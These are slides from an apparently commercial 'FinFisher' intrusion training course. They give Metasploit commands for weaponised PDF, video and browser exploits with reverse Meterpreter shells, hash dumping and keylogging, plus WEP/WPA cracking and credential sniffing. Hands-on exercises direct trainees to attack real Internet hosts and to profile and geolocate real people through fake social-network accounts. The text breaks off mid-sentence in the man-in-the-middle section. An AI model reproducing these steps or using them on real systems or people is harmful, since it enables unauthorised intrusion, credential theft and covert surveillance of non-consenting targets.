1 FINFISHER: Basic IT Intrusion 2.0 FinTraining Program Purpose of this course 2 • Get an overview of existing up-to-date Tools and Techniques for different scenarios • Understand the terms and processes of “hacking” • Understand common attack methods Out of Scope • You won’t get a magic-potion to break into environments • You won’t learn how to use automated security scanners • • but you will understand their functionality You won't become an expert on the presented techniques 3 Requirenments • PC/Notebook running BackTrack 5 • Basic TCP/IP networking knowledge • Basic Windows and UNIX/Linux knowledge • Creativity, Intelligence and Motivation(!) 4 Table of Content – Complete Overview 5 1. Overview 2. Footprinting 3. Server Intrusion 4. Client-Side Intrusion 5. Wireless Intrusion 6. Wired Intrusion 7. Web Application 8. Miscellaneous Attacks Table of Content 6 • Overview • • • History Scene Recent Cases History 1971 Cap‘n Crunch aka. John Draper Pioneer of Phone Phreaking / Hacking Whistle out of cereal box emulates 2600Hz (AT&T phone system) Free Phone calls 7 History 1983 Movie „War Games“ released Introduces „Hacking“ to the public Showing that everyone could possibly break in everywhere 8 History 1984 Hacker `Zine „2600“ Followed by „Phrack“ one year later – http://www.phrack.org Regularly publishes content for hacker and phreaker 9 History 1988 The Morris Worm Robert T. Morris, Jr – Son of a NSA scientist Self-replicating worm in the ARPAnet 6000 UNIX computers of universities and government were infected 10 History 1995 Kevin Mitnick arrested - Master of Social Engineering Hacked into several computer systems (IBM, Nokia, Motorola, Sun, …) Not allowed to touch computers and phones for years Wrote two books after release in 1999 • The Art Of Deception • The Art Of Intrusion 11 History 1998 Cult of the Dead Cow releases „Back Orifice“ First famous Trojan Horse for Windows System Full remote system access 12 History 2000 Distributed Denial of Service Attacks Takes down eBay, Amazon, CNN, Yahoo! and others for hours http://news.cnet.com/2100-1017-236683.html 13 History 2006 Release of BackTrack Co-founder is founder of Gamma International GmbH Hacking for the public Compilation of most hacking tools in one Linux system Around 5 Million downloads per release 14 History 15 2010 WikiLeaks is publicly and internationally recognized International non-profit organization that publishes submissions of private, secret and classified media Sent in by anonymous news sources, news leaks and whistleblowers Table of Content 16 • Overview • • • History Scene Recent Cases Scene – Classification • Script-Kiddie: • • White-Hat: • • Professional researchers, Often former Black-Hats Grey-Hat: • • Beginner, using tools public in the Internet, often malicious, defaces Websites Professional researcher, No criminal intent, Improving network and system security Black-Hat: • Professional cyber criminal 17 Scene – Communication • • • Private, encrypted communication • Skype • Pidgin/Jabber + SSL/TLS • Mail (GPG/PGP) • Secure IRC / SILC Public communication • Web-Forums • Mailing-Lists (Bugtraq) • Blogs • Twitter Conferences 18 Scene – Conferences 19 DEF CON • DEF CON, in Las Vegas, is the biggest hacker convention in the United States held during summer (JuneAugust). Black Hat • Black Hat is a series of conferences held annually in different cities around the world. Scene – Conferences 20 Hack in the Box • Asia's largest network security conference held annually in Kuala Lumpur, Malaysia which is now also organized in Middle East. Chaos Communication Congress • It is the oldest- and Europe's largest hacker conference, held by the Chaos Computer Club in Berlin. Table of Content 21 • Overview • • • History Scene Recent Cases Recent Cases China hacking German Government 22 Recent Cases Researcher purposefully publishes 100 Government and Embassy E-Mail Accounts 23 Recent Cases Website Defacements 24 Recent Cases Website Defacements 25 Recent Cases 26 Website Defacements April 2011 Source: • http://www.zone-h.org/stats/ymd • http://www.zone-h.org/news/id/4737 (Detailed Statistics for 2010) Recent Cases 27 Recent Cases 28 Table of Content – Complete Overview 29 1. Overview 2. Footprinting 3. Server Intrusion 4. Client-Side Intrusion 5. Wireless Intrusion 6. Wired Intrusion 7. Web Application 8. Miscellaneous Attacks Table of Content 30 • Footprinting • • • • Information Gathering Social Engineering Social Networks Geolocation Information Gathering • Target profiling • Allows to construct an attack strategy • Passive information collection without directly accessing the target • Professional research 31 Information Gathering – Search Engines • Google • No explanation needed. 32 Information Gathering – Search Engines • www.netcraft.com - List of web servers and software • Including History of changes 33 Information Gathering – Search Engines • www.archive.org - Different snapshot copies of websites • Discover progress of the website • Old services and test systems are often still running • Retired / Fired company employees 34 Information Gathering – Search Engines • www.zone-h.org - Digital Attacks Archive • Information of documented / public attacks • Get connected with former, successful hackers 35 Information Gathering – Whois Records • www.domaintools.com – Domain Archive • Looks up historical ownership of a website • Gives registrar information for a domain + screenshot 36 Information Gathering – Maltego • Maltego • Data mining and information gathering tool • Identify key relationships between information and find unknown relationships • Gives an easy overview about the results 37 Information Gathering – Hands-On Hands-On: 38 Information Gathering – Hands-On Hands-On: • Choose any local target • Check target on all Search Engines • Register Account at Maltego • Use Maltego to gather information about the local target • E-Mails • Persons 39 Table of Content 40 • Footprinting • • • • Information Gathering Social Engineering Social Networks Geolocation Social Engineering 41 Social engineering uses influence and persuasion to deceive people by convincing them that the social engineer is someone he is not, or by manipulation. (Kevin D. Mitnick) • Non-technical kind of intrusion that relies heavily on human interaction • Often involves tricking other people to break normal security procedures • Peoples inability to keep up with a culture that relies heavily on information technology Social Engineering Example 1: 42 Social Engineering Example 2: 43 Social Engineering Example 3: 44 Social Engineering Example 4: http://thenextweb.com/insider/2011/06/28/us-govt-plant-usb-sticks-in-security-study-60-of-subjects-take-the-bait/ 45 Table of Content 46 • Footprinting • • • • Information Gathering Social Engineering Social Networks Geolocation Social Networks • Lots of different online communities • Used for business and private life • Messages on them are more and more alternative to E-Mails • Information: • Personal Facts • Friends (and friends of friends) • Interests • Activities • Photos • Hundred of millions people around the globe use them • Popular community differ between countries 47 Social Networks • • • Facebook • Social Network for everybody • 750 Million active users (July 2011) Twitter • Microblogging network • 200 Million active users (March 2011) LinkedIn • Business-orientated network • 100 Million registered users (March 2011) 48 Social Networks – Hands-On Hands-On: 49 Social Networks – Hands-On Hands-On: • Profiling a human target with previous methods • Creating a fake account on Facebook • Fill in a lot of realistic information (Picture, Interests, Groups, …) • Choose the regional, human target • Try to add your target to your friends and many friends around your target • Gather personal information about the target 50 Table of Content 51 • Footprinting • • • • Information Gathering Social Engineering Social Networks Geolocation Geolocation • • • Geotagged Photos • Most smartphones (e.g. iPhone & Android Devices) have in-built GPS and save location to photos • People upload pictures to Social Networks Geolocation Services • People show their location on Social Networks to their friends • Foursquare • Twitter • Facebook Location saved on Smartphones & Tablets • iPad / iPhone • Android 52 Geolocation Geotagged Photos • GPS coordinates are within images and can be extracted! • Tool called exiftool can be used to extract Metadata from images • Example exiftool -c "%d %d %.8f" ~/image.jpg • To get a proper GPS coordinates format -c "%d %d %.8f“ 53 Geolocation Geotagged Photos • Example Facebook Photo 54 Geolocation Geotagged Photos • “GPS Position” field can be pasted to Google Maps for Location • Example Facebook Photo → Google Maps 55 Geolocation – Hands-On Hands-On: 56 Geolocation – Hands-On Hands-On: • Choose Facebook friends and analyze a few images • Geolocation shown within pictures? • Geolocation found on Google Maps? 57 Geolocation Geolocation services • Many Websites offer to “upload” your location • Used for “Friend finding” • Used on Social Networks • Twitter • Facebook 58 Geolocation Geolocation services • Most famous and very popular – Foursquare • http://www.foursquare.com • Connect with friends and share your location • Can send these information directly to Twitter/Facebook account of a person • Applications for iPhone, iPad, Android, etc. 59 Geolocation Geolocation services • Example: Foursquare & Facebook • Example: Foursquare & Twitter 60 Geolocation Geolocation services • Extraction can be automated • Tool called creepy can be used • • • http://ilektrojohn.github.com/creepy/ • A Geolocation Information Aggregator Can automatically search through • Foursquare • Twitter • Flickr • and many more Facebook support is planned! 61 Geolocation Geolocation services • Example Twitter Extraction • Location moving profile through timeline • Hotspots 62 Geolocation – Hands-On Hands-On: 63 Geolocation – Hands-On Hands-On: • Download & Install creepy • aptitude install creepy • Get familiar with the GUI • Choose local Twitter Accounts • Run creepy against several Targets (Can take a while) • Geolocation shown within Twitter Account? • Does the Target has main spots? 64 Geolocation Location saved on Smartphones • Many Smartphones save GPS / GSM information their Smartphones • Android has cache.cell & cache.wifi • • Extraction with android-locdump (root access required) • https://github.com/packetlss/android-locdump “LocationGate” – iPhone / iPad have consolidated.db • Backup of this file is saved on computer via iTunes • Extraction with iPhoneTracker • http://petewarden.github.com/iPhoneTracker/ 65 Geolocation Location saved on Smartphones • iPad / iPhone Example 66 Table of Content – Complete Overview 67 1. Overview 2. Footprinting 3. Server Intrusion 4. Client-Side Intrusion 5. Wireless Intrusion 6. Wired Intrusion 7. Web Application 8. Miscellaneous Attacks Table of Content 68 • Server Intrusion • • • • Linux Basics Scanning Enumeration Exploit Usage Linux Basics • Initial Kernel release in 1991 by Linus Torvalds • Today market share • • • Server: 30% - 40% • Desktops: 2% - 5% Famous Linux Distributions: • Server: Debian • Desktop: Ubuntu & Fedora Almost full hardware support these days 69 Linux Basics • 70 Linux Directory Structure (the most important directories) / Top-Level Directory /boot Startup files and Kernel /etc System and Software configuration files /home User directories /mnt Mount point for external devices /root Home directory of root user /tmp Temporary files / cleaned upon reboot /var Storage for all variable files and temporary files (e.g. logs) /pentest BackTrack / FinTrack added software Linux Basics • Super User Rights • • Changing Directories • • gedit /etc/passwd Show latest Entries (of Logfile) • • mv oldfile.txt newfile.txt Edit & Read (Configuration File) with Graphical Text Editor • • cd /pentest/ Rename & Move File • • sudo command tail –f /var/log/messages Show Network Configuration • ifconfig 71 Linux Basics • Remove Files • • Remove Directories • • cp file.cfg_template file.cfg Show content of file • • rm –r directoryname Copy File • • rm filename cat /etc/passwd Create an empty file • touch myfile 72 Linux Basics 73 Advanced Shell Usage command1 > outputfile Redirect output of command1 to file e.g.: command1 | command2 Pipe Output of command1 to command2 e.g.: command1 && command2 ls /etc/ > /root/Desktop/etclist.txt echo test | md5sum Start command2 after command1 is finished e.g.: ./configure && make Linux Basics Hands-On: 74 Linux Basics Hands-On: • Create a file in your Home directory • Fill the file with any content • Copy the file to /tmp • Change to directory /tmp • Remove the file in /tmp • Pipe the input of the file in your Home directory into a file on the Desktop • Remove both files with only one line in the command shell 75 Table of Content 76 • Server Intrusion • • • • Linux Basics Scanning Enumeration Exploit Usage Scanning What is network scanning? • Host Discovery • Port Scanning • Version Detection • OS Detection • Generate a detailed network plan 77 Scanning Nmap (Network MAPper) • Initial Release was 1997 • Most famous network scanner in the world • Was extended using it’s own scripting language • Very accurate Operating System and Service Detection • Runs on multiple systems (Windows, Linux, MacOS, UNIX, *BSD, …) 78 Scanning Graphical Frontend – Zenmap • With Profile Editor 79 Scanning Important Commands • -sV Performing a version detection on open ports • -O Performing Operating system detection (needs root privileges) • -sC Uses internal scripts for enumeration • -Pn Ignores if ICMP replies are not sent (so hosts will be scanned even if “offline”) 80 Scanning Example output for www.microsoft.com 81 Scanning Example output for Test Windows XP 82 Scanning Results? • What kind of information did we get for each target? • Which services are running? • Which open ports are running? 83 Scanning Hands-On: 84 Scanning Hands-On: • Start Zenmap • Scan Target within LAN • Play with the Options from the Profile Wizard • How do the results differ? • Choose regional target • Any interesting information? 85 Table of Content 86 • Server Intrusion • • • • Linux Basics Scanning Enumeration Exploit Usage Enumeration Enumeration can retrieve: • Anonymous Access • Default Credentials • Default Access Rights • User names • Shares • Services of networked computers 87 Enumeration Using Enumeration on our LAN target • Target has Network shares • How to get information about them? • Zenmap can be used! • Zenmap has integrated scripts for Enumeration in • • ./scripts/smb-enum*.nse Command example: • nmap -p U:137,T:139 --script smb-enum-* 192.168.1.106 88 Enumeration Zenmap Output: 89 Enumeration Successful Enumeration on our LAN target • Network Shares are known • Access needed! • SMB4K • Scanning for (active) workgroups, hosts, and shares • Mount and Unmount of remote shares, including unmounting all shares at once • Access to the files of a mounted share using a file manager or terminal • Default login 90 Enumeration SMB4K Main Interface – Mount Dialog • Share = //HOST/SHARE (see Zenmap results) 91 Enumeration After Mounting the share can be accessed • Maybe no write but read rights given 92 Enumeration Hands-On: 93 Enumeration Hands-On: • Start Zenmap • Choose target within LAN • Enumerate shares • Install SMB4K • aptitude install smb4k • Start SMB4K • Try mounting all enumerated shares • Which user-rights are given? Read? Write? Read & Write? 94 Table of Content 95 • Server Intrusion • • • • Linux Basics Scanning Enumeration Exploit Usage Exploit Usage What is an Exploit? • Piece of software • Takes advantage of a software bug or software vulnerability • Extend user rights • To get access to a remote system • For different Applications, Platforms and Services • Public Exploits • Private Exploits (Zero Day / 0-day) 96 Exploit Usage • Zenmap can be used for SMB Vulnerability Scanning • Zenmap has integrated scripts for SMB Vulnerability Scanning in • • ./scripts/smb-check-vulns.nse Command example: • nmap -p U:137,T:139 --script smb-check-vulns 192.168.1.106 97 Exploit Usage • Zenmap found SMB Vulnerability! • Microsoft Security Bulletin: MS08-067 • http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx 98 Exploit Usage Hands-On: 99 Exploit Usage Hands-On: • Start Zenmap • Choose target within LAN • Use SMB Vulnerability Scanning with Target • Repeat the same with Internet Target where SMB is enabled 100 Exploit Usage 101 Where to find: • • • Different Websites • SecurityFocus http://www.securityfocus.com/ • Packet Storm http://www.packetstormsecurity.org/ • Exploit Database http://www.exploit-db.com/ Integrated in automated scanners • Nessus • Core Impact (commercial) http://www.nessus.org/ Integrated in Exploit Frameworks • Metasploit http://www.metasploit.com/ Exploit Usage Metasploit: • Exploit Database • Payload Database • Auxiliary Database • Powerful Post-Exploitation modules • Powerful GUI via Armitage 102 Exploit Usage Metasploit: • Updating Database (can take a while) • cd /pentest/exploits/framework3/ && ./msfupdate 103 Exploit Usage Metasploit – Starting Armitage 1. Type armitage inside a terminal 2. Select “Start MSF” 104 Exploit Usage Armitage – The GUI 105 Exploit Usage Hands-On: 106 Exploit Usage Hands-On: • Start Armitage • Get familiar with the GUI • Get familiar with the difference of • Exploits • Auxiliaries • Payloads • Post Exploitation 107 Exploit Usage Metasploit – Searching for our Vulnerability 1. Search Bar – Type in keyword 2. Results 108 Exploit Usage Metasploit – Description & Required Options 1. Description 2. (Required) Options 3. Connection Type 109 Exploit Usage 110 Metasploit – Required Options • RHOST = Defining Remote Host • RPORT = Defining Remote Port • LHOST = Local Host (Reverse Connect needs to know where to connect to) • LPORT = Local Port (Reverse Connect also needs to know which port to connect to) • … and further default options Exploit Usage Metasploit – Launching Exploit 1. Target System will be shown (including Operating System, IP address, Hostname and system account) 2. Session opened (Meterpreter – will go into this later) 111 Exploit Usage Metasploit – System Access 1. Change Directory to Desktop 2. Create File on Desktop 112 Exploit Usage Metasploit –Target System – Desktop 113 Exploit Usage Hands-On: 114 Exploit Usage Hands-On: • Start Metasploit – Armitage • Search for Exploit • Choose Network Target • Exploit SMB Service • Create file on Desktop 115 Table of Content – Complete Overview 116 1. Overview 2. Footprinting 3. Server Intrusion 4. Client-Side Intrusion 5. Wireless Intrusion 6. Wired Intrusion 7. Web Application 8. Miscellaneous Attacks Table of Content 117 • Client-Side Intrusion • • • • • Overview PDF File Video File Browser DLL Hijacking Client-Side Intrusion – Overview • Take advantage of vulnerabilities in client software such as: • PDF Reader (e.g. Acrobat Reader, FoxIT PDF Reader) • Media Player (e.g. VLC) • Web-Browser (e.g. Internet Explorer, Firefox, etc.) • Exploit vulnerabilities in system-wide libraries used by client applications • Often limited in time as application vendors fix bugs normally quite • Software often has integrated auto-updates 118 Table of Content 119 • Client-Side Intrusion • • • • • Overview PDF File Video File Browser DLL Hijacking Client-Side Intrusion – PDF File • Adobe Acrobat Bundled LibTIFF Integer Overflow • Working on 8.0 through 8.2 • Working on 9.0 through 9.3 • Working on ALL platforms • Full administrative rights • Found in February 2010 – took almost 6 months to fix • References: • http://www.adobe.com/support/security/bulletins/apsb10-07.html • http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0188 120 Exploit Usage Metasploit: • Starting the Metasploit Framework from the Console • ./msfconsole 121 Client-Side Intrusion – PDF File • Metasploit – Choose Client Side Exploit 122 Client-Side Intrusion – PDF File • Choosing Exploit: • • Show info & description of exploit • • info Set payload • • use exploits/windows/fileformat/adobe_libtiff set payload windows/messagebox Show required and optional options • show options 123 Client-Side Intrusion – PDF File Metasploit – Choosing Payload • What is a Payload / Shellcode? • Which kinds of payloads does Metasploit offer • TCP Connect / TCP Reverse Connect • Open a Remote Shell • Open Meterpreter Shell • Start VNC on Target • Lots more… 124 Client-Side Intrusion – PDF File Metasploit – Options • Module options • Payload options 125 Client-Side Intrusion – PDF File • Creating the File • exploit 126 Client-Side Intrusion – PDF File Hands-On: 127 Client-Side Intrusion – PDF File Hands-On: • Start Metasploit Console • Get familiar with the Console • Recreate the PDF Exploit 128 Client-Side Intrusion – PDF File • We have the Exploit • Missing? Distribution of the PDF Exploit • E-Mail • USB • Website Upload • …. 129 Client-Side Intrusion – PDF File Target has Adobe 9.3.0 installed 130 Client-Side Intrusion – PDF File Target checks Exploit PDF – it’s a regular PDF file! 131 Client-Side Intrusion – PDF File Target executes the Exploit PDF • MessageBox appears with our predefined text • This MessageBox could be a trojan! 132 Client-Side Intrusion – PDF File Hands-On: 133 Client-Side Intrusion – PDF File Hands-On: • Distribute the Exploit PDF • Wait for execution • Did the Exploit work? 134 Table of Content 135 • Client-Side Intrusion • • • • • Overview PDF File Video File Browser DLL Hijacking Client-Side Intrusion – Video File • VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow • Working on ALL VLC <= 1.1.8 • Working on ALL Windows • Full administrative rights • Found in April 2011 • Remote Code Execution • References: • http://cve.mitre.org/cgi-bin/cvename.cgi?name=2011-1574 • https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt 136 Client-Side Intrusion – Video File Setting Options • Exploit: use exploit/windows/fileformat/vlc_modplug_s3m • Payload: set payload windows/meterpreter/reverse_tcp • Meterpreter? 137 Client-Side Intrusion – Video File Meterpreter • Advanced Shell with additional features • Escalate system privileges • Process Migration • Post Exploitation Modules • Keylogging • File System Access • Etc… 138 Client-Side Intrusion – Video File • Setting Options 139 Client-Side Intrusion – Video File • Creating the Exploit • Options: set FILENAME evil.mkv set OUTPUTPATH /root/ set LHOST 192.168.1.103 140 Client-Side Intrusion – Video File Hands-On: 141 Client-Side Intrusion – Video File Hands-On: • Start Metasploit Console • Get familiar with the Console • Recreate the Video Exploit 142 Client-Side Intrusion – Video File • We have the Exploit Video File • Missing? • Missing listening connection • How do we distribute the Exploit Video File? • How do we know the Exploit Video was executed? 143 Client-Side Intrusion – Video File 144 ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.101 E Powerful command line interface for the Metasploit Framework ./msfcli The selected module exploit/multi/handler The payload being used PAYLOAD=windows/meterpreter/reverse_tcp Defining the local host LHOST=192.168.1.101 Execution of the module E Client-Side Intrusion – Video File • We create a shell which listens on the local host for a connection • With windows/meterpreter/reverse_tcp now 145 Client-Side Intrusion – Video File Now we need to distribute the Video Exploit to the Target • E-Mail • USB • Website Upload • …. 146 Client-Side Intrusion – Video File • Target has VLC 1.1.6 installed 147 Client-Side Intrusion – Video File Target checks Exploit Video File – it’s a regular video file! 148 Client-Side Intrusion – Video File Target executed Exploit Video File – Meterpreter Shell! 149 Client-Side Intrusion – Video File Explanation: sysinfo Give further information about the remote system use priv Using a Meterpreter extension for escalating privilege commands hashdump Dumping user-credentials on the remote-system 150 Client-Side Intrusion – Video File Hands-On: 151 Client-Side Intrusion – Video File Hands-On: • Get Meterpreter Shell on Target System • Play with Meterpreter Shell • help will give a list of available commands • Record keystrokes • Do a screenshot 152 Table of Content 153 • Client-Side Intrusion • • • • • Overview PDF File Video File Browser DLL Hijacking Client-Side Intrusion – Browser • Internet Explorer CSS Recursive Import Use After Free • Memory Corruption Vulnerability / Bypass of DEP and ASLR • Affected: • • Internet Explorer 6, 7, 8 • Windows XP, Windows Vista, Windows 7 “When A DoS Isn't A DoS” • http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ • Published in December 2010 / Microsoft Released Patch in March 2011 • References: • http://www.microsoft.com/technet/security/bulletin/MS11-003.mspx • http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3971 154 Client-Side Intrusion – Browser • Different from the previous attacks • No need to distribute a file to the victim • Target needs to visit a Website • Attacker creates website/webserver 155 Client-Side Intrusion – Browser • use exploit/windows/browser/ms11_003_ie_css_import 156 Client-Side Intrusion – Browser • Different options • SRVHOST (local IP address or public internet IP address) • SRVPORT (local Port to listen on – preferred “80”) • URIPATH (exact URI of the “website”) 157 Client-Side Intrusion – Browser • Set payload (meterpreter) with options! • Exploit • Webserver was created and waiting for connection 158 Client-Side Intrusion – Browser • Target visits the website with Internet Explorer 8 • Session is created 159 Client-Side Intrusion – Browser • 160 Automatic Process Migration [*] Session ID 1 (192.168.1.103:4444 -> 192.168.1.111:1050) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (2032) [*] Spawning a notepad.exe host process... [*] Migrating into process ID 2276 [*] New server process: notepad.exe (2276) • This is necessary if Target closes the Internet Explorer – our Session would be gone • Migration into another process let our session be active until reboot Client-Side Intrusion – Browser • List active sessions (including the exploit name) • • sessions –l –v Interact with session • session –i 1 161 Client-Side Intrusion – Browser Hands-On: 162 Client-Side Intrusion – Browser Hands-On: • Replay the Internet Explorer Exploit • Get Meterpreter Shell on Target System • Play with Meterpreter Shell • help will give a list of available commands • Download some files from the target • Upload an *.exe file to the target • Execute the file on the target 163 Table of Content 164 • Client-Side Intrusion • • • • • Overview PDF File Video File Browser DLL Hijacking Client-Side Intrusion – DLL Hijacking • Application DLL Hijacking • Windows loads an additional DLL if an application is executed • No real fix via Windows Update – Workaround can be downloaded! • Affected: • All Windows • Published in late August 2010 • References: • http://support.microsoft.com/kb/2264107 • http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html 165 Client-Side Intrusion – DLL Hijacking • use exploit/windows/browser/webdav_dll_hijacker 166 Client-Side Intrusion – DLL Hijacking • Different options • EXTENSION (extensions for generation into destination folder e.g. ppt) • SRVHOST (IP the server is started on) • LHOST (IP to listen on for reverse connection) 167 Client-Side Intrusion – DLL Hijacking • Exploit • Web server was created and waiting for connection 168 Client-Side Intrusion – DLL Hijacking 1. Targets visits URL 2. Network share automatically opens 3. Target opens file within the share! 169 Client-Side Intrusion – DLL Hijacking • “Malicious” DLL is loaded and executed • Shell is established 170 Table of Content – Complete Overview 171 1. Overview 2. Footprinting 3. Server Intrusion 4. Client-Side Intrusion 5. Wireless Intrusion 6. Wired Intrusion 7. Web Application 8. Miscellaneous Attacks Table of Content 172 • Wireless Intrusion • • • • Wireless Basics Breaking WEP Breaking WPA Credential Sniffing Wireless Intrusion – Wireless Basics • IEEE Standard – 802.11 • Frequency: 2.4 GHz • 802.11a • • • Up to 54 Mbps • Good Speed / less range 802.11b • Up to 11 Mbps • Less Speed / good range 802.11g • Up to 54 Mbps • Good speed / good range 173 Wireless Intrusion – Wireless Basics • IEEE Standard – 802.11 • 802.11n • • 150-300 Mbps 802.11n • 2.4 GHz – Less fast / better range • 5 GHz – Much faster / less range 174 Wireless Intrusion – Wireless Basics Frequencies • • 2.4 GHz • Pro: Widely spread • Con: Sharing of different devices (Microwaves, Bluetooth, …) 5 GHz • Pro: less used frequency, longer range • Con: Viewer devices -> more cost intensive Channels • 2.4 GHz – Usually 1 – 13 (frequency varies a bit in each channel) • 5 GHz – Maximum of 43 but depending on the region (Europe, America, Asia, etc.) http://en.wikipedia.org/wiki/List_of_WLAN_channels 175 Wireless Intrusion – Wireless Basics Encryptions – WEP • WEP = Wired Equivalent Privacy • IEEE 802.11 • Based on a secret Key • The key is used to initialize an RC4 stream • Packets payload is encrypted • Different security flaws 176 Wireless Intrusion – Wireless Basics Encryptions – WPA • WPA = Wi-Fi Protected Access • WEP replacement due to the security flaws • Still RC4 but longer initialization vector • Introduction of TKIP protocol changes key every few minutes • TKIP (Temporal Key Integrity Protocol encryption) encrypts the wireless signal • Authentication against the network itself – not only a particular access point 177 Wireless Intrusion – Wireless Basics Encryptions – WPA2 • IEEE 802.11i • Dedicated hardware chip to handle the encryption • New AES-based encryption mode with strong security • WPA2-Personal (WPA2-PSK) • • Uses a pre-shared key WPA2-Enterprise (WPA2-RADIUS) • Authenticates users against a centralized authentication service 178 Wireless Intrusion – Wireless Basics 179 Frame Types • Control frames • • Controlling the radio transmission, retransmission etc Management frames • Handling all the “managing tasks” • Important packets: • Association Request, Association Response, Re-association Request, Re-association Response, Probe Request, Probe Response, Beacon, Disassociation, Authentication, De-authentication • Data frames • Transporting the data of the radio network Wireless Intrusion – Wireless Basics 180 Important Facts • Control frames & Management frames are unencrypted: • • • 802.11 defines no protection mechanism against injection, replay, etc. Open authentication is more secure than shared authentication • Attacker sees plain-text challenge and encrypted response • Known plain-text/cipher-text allows to recover keystream (PRGA) Cloaked/Hidden Networks with SSID disabled transfer it’s SSID in other management frames like probe requests, etc. • • De-authenticating a client will help revealing the wireless SSID A radio network is always vulnerable to denial of service attacks on the radio layer Table of Content 181 • Wireless Intrusion • • • • Wireless Basics Breaking WEP Breaking WPA Credential Sniffing Wireless Intrusion – Breaking WEP • Finding Wireless Networks • kismet can be used! • • Wireless Network Detector • Wireless Packet Sniffer All network information provided • SSID (Network Name) • BSSID (MAC of Router) • Encryption • Signal Strength • Connected Clients • Number of Packets 182 Wireless Intrusion – Breaking WEP Hands-On: 183 Wireless Intrusion – Breaking WEP Hands-On: • Start kismet • Choose available WEP encrypted network(s) • What we need to note down: • Channel • BSSID • (E)SSID • Own MAC • Possible connected Clients (press "c" in kismet) 184 Wireless Intrusion – Breaking WEP • Attacking Wireless Networks • aircrack-ng suite can be • Can crack WEP & WPA keys • Packet injector • Packet Sniffer used 185 Wireless Intrusion – Breaking WEP • Wireless card into monitor mode to sniff packets • • airmon-ng start <INTERFACE> <CHANNEL> Logging the traffic • • 186 airodump-ng -c <CHANNEL> --bssid <BSSID> -w outputfile <INTERFACE> We need around 20,000 to 30,000 packets Wireless Intrusion – Breaking WEP • Not many or no packets might occur in the “Data” field • We need to increase traffic • We can inject own traffic with different techniques • ARP Replay • Fragmentation Attack • Chop Chop • Etc. 187 Wireless Intrusion – Breaking WEP • • Using ARPreplay attack • ARP Replay Attack • Requires active clients • Listen for a Client packet • Use this packet to flood the AP • Success depends on the selected packet • No way to tell which is the “magic” packet aireplay-ng --interactive -b <BSSID> -h <MY_MAC> <INTERFACE> 188 Wireless Intrusion – Breaking WEP • Sometimes aireplay-ng does not capture usable packets because the clients are not generating any traffic • It's easy to enforce client communication by sending de-authentication frames • Deauthentication attack • 189 • To discover the SSID of a network that does not broadcast it • To capture handshake packets for WPA or WPA2 • To generate ARP-requests aireplay-ng –-deauth=5 -a <BSSID> -c <CLIENT_MAC> <INTERFACE> Wireless Intrusion – Breaking WEP • • Fragmentation attack • Does not require clients • Needs to be close to Access-Point Fake Authentication: • • aireplay-ng –-fakeauth=0 -e <ESSID> -a <BSSID> -h <MY_MAC> <INTERFACE> Waiting for packet for injection: • • 190 aireplay-ng --fragment -F -b <BSSID> -h <MY_MAC> <INTERFACE> Compile packet: • packetforge-ng --arp -a <BSSID> -h <MY_MAC> -k 255.255.255.255 –l 255.255.255.255 -y fragment-* -w /tmp/aircrack-arp-request • Inject Packets: • aireplay-ng --interactive -F -r /tmp/aircrack-arp-request <INTERFACE> Wireless Intrusion – Breaking WEP • Data packages should increase quite fast (~500/sec) • Using aircrack-ng to crack the key aircrack-ng -z /tmp/aircrack-cap-*.cap 191 Wireless Intrusion – Breaking WEP 192 • Bringing the network up with the key • To verify that the correct key has been recovered, abort aireplay-ng and airodump-ng • Reset Wireless Card: • • Configure Network: • • airmon-ng stop wlan0 iwconfig wlan0 essid <ESSID> enc <WEPKEY> Activate Card: • ifconfig wlan0 up Wireless Intrusion – Breaking WEP • Graphical alternative in Backtrack: WICD • WICD is a wireless network manager for Linux 193 Wireless Intrusion – Breaking WEP Hands-On: 194 Wireless Intrusion – Breaking WEP Hands-On: • Break the WEP encryption by the trainers given access point • Connect to the access points network • Which attack worked? • Is a MAC filter active? 195 Table of Content 196 • Wireless Intrusion • • • • Wireless Basics Breaking WEP Breaking WPA Credential Sniffing Wireless Intrusion – Breaking WPA Hands-On: 197 Wireless Intrusion – Breaking WPA Hands-On: • Start kismet • Choose available WPA encrypted network(s) • What we need to note down: • Channel • BSSID • (E)SSID • Own MAC • Connected Clients (press "c" in kismet) 198 Wireless Intrusion – Breaking WPA • Wireless card into monitor mode to sniff packets • • airodump-ng -c <CHANNEL> --bssid <BSSID> -w outputfile <INTERFACE> Wait for WPA Handshake (Can be enforced using deauthentication attack) • • airmon-ng start <INTERFACE> <CHANNEL> Logging the traffic • • 199 aireplay-ng –-deauth=5 -a <BSSID> -c <CLIENT_MAC> <INTERFACE> Using aircrack-ng to brute-force the key • aircrack-ng –w <WORDLIST> /tmp/aircrack-cap-*.cap Wireless Intrusion – Breaking WPA Hands-On: 200 Wireless Intrusion – Breaking WPA Hands-On: • Break the WPA encryption by the trainers given access point • Connect to the access points network • Which attack worked? 201 Table of Content 202 • Wireless Intrusion • • • • Wireless Basics Breaking WEP Breaking WPA Credential Sniffing Wireless Intrusion – Credential Sniffing • Kismet gives us the possibility of getting all credentials in plain-text • As • • We are already in the Wireless Network • The Wireless Network is open Kismet stores its logs in • /var/log/kismet/*.dump • First locking into the Channel of the target Wireless with Kismet • See the menu how to lock a channel and view all sniffed packages 203 Wireless Intrusion – Credential Sniffing • Kismet “Data Strings Dump” 204 Wireless Intrusion – Credential Sniffing • We can use a combination of kismet & Wireshark as an Analyzer • Wireshark (formerly known as Ethereal) • Most famous Sniffer in the world • Freeware • http://www.wireshark.org/ 205 Wireless Intrusion – Credential Sniffing • Loading the *.dump into Wireshark 206 Table of Content – Complete Overview 207 1. Overview 2. Footprinting 3. Server Intrusion 4. Client-Side Intrusion 5. Wireless Intrusion 6. Wired Intrusion 7. Web Application 8. Miscellaneous Attacks Table of Content 208 • Wired Intrusion • • • Man-in-the-Middle Credential Sniffing SSL Breakdown Wired Intrusion – Man-in-the-Middle • Credential Sniffing with Man-in-the-Middle attack • What is a Man-in-the-Middle attack? • 209 Active attack where the attacker attempts to intercept, read or alter information moving between two computers • ARP cache is modified • Diverting 